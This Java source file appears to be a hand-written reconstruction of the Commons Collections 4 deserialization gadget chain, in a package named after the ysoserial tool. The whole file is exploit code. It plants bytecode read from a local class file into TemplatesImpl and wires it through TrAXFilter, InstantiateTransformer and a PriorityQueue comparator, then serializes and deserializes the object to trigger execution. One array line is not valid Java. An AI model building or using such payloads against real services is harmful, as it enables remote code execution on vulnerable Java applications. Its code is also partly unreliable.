package ysoserial;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.convert.TransformWriteField;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.LazyMap;
import org.apache.xalan.xsltc.trax.TrAXFilter;
import javax.xml.crypto.dsig.Transform;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;
public
class
cc4 {
public
static
void main(String[] args) throws Exception {
TemplatesImpl templates=
new
TemplatesImpl();
Class tc=templates.getClass();
Field nameField=tc.getDeclaredField(
"_name"
);
nameField.setAccessible(true);
nameField.set(templates,
"XINO"
);
Field bytecodesField=tc.getDeclaredField(
"_bytecodes"
);
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get(
"D://tmp/test.class"
));
byte[][] codes=[code];
bytecodesField.set(templates,codes);
Field tfactoryField=tc.getDeclaredField(
"_tfactory"
);
tfactoryField.setAccessible(true);
tfactoryField.set(templates,
new
TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer=
new
InstantiateTransformer(
new
Class[]{Templates.
class
},
new
Object[]{templates});
Transformer[] transformers=
new
Transformer[]{
new
ConstantTransformer(TrAXFilter.
class
),
instantiateTransformer
};
ChainedTransformer chainedTransformer=
new
ChainedTransformer(transformers);
TransformingComparator transformingComparator=
new
TransformingComparator<>(
new
ConstantTransformer<>(1));
PriorityQueue priorityQueue=
new
PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Class c=transformingComparator.getClass();
Field transformField=c.getDeclaredField(
"transformer"
);
transformField.setAccessible(true);
transformField.set(transformingComparator,chainedTransformer);
serialize(priorityQueue);
unserialize(
"ser.bin"
);
}
public
static
void serialize(Object obj) throws Exception{
ObjectOutputStream oss=
new
ObjectOutputStream(
new
FileOutputStream(
"ser.bin"
));
oss.writeObject(obj);
}
public
static
void unserialize(Object obj) throws Exception{
ObjectInputStream oss=
new
ObjectInputStream(
new
FileInputStream(
"ser.bin"
));
oss.readObject();
}
}